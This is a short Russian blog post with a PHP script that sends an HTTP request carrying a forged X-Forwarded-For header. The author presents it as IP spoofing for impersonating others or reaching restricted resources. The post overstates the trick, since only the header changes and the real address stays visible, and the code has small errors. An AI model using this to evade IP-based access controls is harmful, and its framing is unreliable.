Спуфер на PHP
На самом деле я всегда думал, что это невозможно и не целесообразно, до тех пор пока не прочитал на форуме ксакепа одну интересную темку, которую большенство пользователей к сожалению обошли. Возможно это было связанно с тем что они незнали что такое спуфинг : ) так вот для тех кто незнает рассказываю: Спуфинг — это подмена ip адреса. Тоесть проведя подмену адреся я могу действовать от чужого имени например или получать доступ к ранее закрытым ресурсам.
приведу простой пример спуфера
<?
@set_time_limit(0);
@ini_set("display_errors","1");
$hostname = gethostbyname('2ip.ru');
$responce = "";
$fsock = fsockopen($hostname,80,$errnum,$errstr,2);
$headers = "GET http://2ip.ru/ HTTP/1.1\n";
$headers .= "Host: 2ip.ru\n";
$headers .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\n";
$headers .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
$headers .= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\n";
$headers .= "Accept-Charset: utf-8;q=0.7,*;q=0.7\n";
$headers .= "X-Forwarded-For: 44.55.66.77\n";
$headers .= "Pragma: no-cachen";
$headers .= "Referer: http://www.codeismy.name\n";
$headers .= "Keep-Alive: 500\n";
$headers .= "Connection: close\n";
$headers .= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
fwrite ($fsock,$headers);
while (!feof($fsock)) $responce .= fread($fsock,1024);
echo $responce;
?>
а теперь разберём по пунктам.
самая важная деталь тут $headers .= «X-Forwarded-For: 44.55.66.77\n»;
именно этот пакет отвечает за подмену ипшника. Где ip это 44.55.66.77
Его можно генерировать например функцией rand() или вписывать в рувчную :)
Ну вот в общемто и всё на сегодня :)
Комментарии:
Нету комментариев для вывода...